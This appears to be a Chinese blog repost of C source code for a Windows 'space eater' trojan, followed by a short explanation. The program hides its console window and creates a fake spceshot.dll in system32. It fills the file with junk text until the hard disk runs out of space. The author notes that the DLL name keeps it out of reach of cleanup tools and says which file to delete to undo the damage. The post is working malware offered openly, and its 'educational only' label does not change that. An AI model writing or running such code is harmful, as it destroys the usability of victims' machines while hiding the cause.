原文:http://www.gohacking.com/make-trojan-horse/
/* SPACE EATER TROJAN BY SRIKANTH. USE IT FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD!*/
#include<stdio.h>
#include<stdlib.h>
#define _WIN32_WINNT 0x0500
#include<windows.h>
FILE *b;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE";//54B
void eatspace(void);
void findroot(void);
int main()
{
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd,SW_MINIMIZE);
ShowWindow(hWnd,SW_HIDE);
findroot();
return 0;
}
void findroot()
{
FILE *t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
b=fopen("C:\\windows\\system32\\spceshot.dll","ab+");
if(b!=NULL)
{
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
b=fopen("D:\\windows\\system32\\spceshot.dll","ab+");
if(b!=NULL)
{
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
b=fopen("E:\\windows\\system32\\spceshot.dll","ab+");
if(b!=NULL)
{
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
b=fopen("F:\\windows\\system32\\spceshot.dll","ab+");
if(b!=NULL)
{
eatspace();
}
}
if(t==NULL)
{
exit(1);
}
exit(1);
}
void eatspace()
{
int r,status,i;
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
break;
}
}
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}
主要流程:
1.找到root drive
2.定位到%systemroot%\Windows\System32目录
3.创建spceshot.dll文件
4.向上面这个文件中写入无用数据
5.直到硬盘耗尽,结束进程
IDE:CodeBlocks
因为dll文件一般无法被磁盘空间清理软件清理,所以会造成硬盘耗尽的假象,只要删除%systemroot%\Windows\System32\spceshot.dll这个文件即可。
http://msdn.microsoft.com/zh-cn/library/6sehtctf.aspx
上面的链接是用于#define _WIN32_WINNT 0x0500说明的
最后欢迎大家访问我的个人网站: 1024s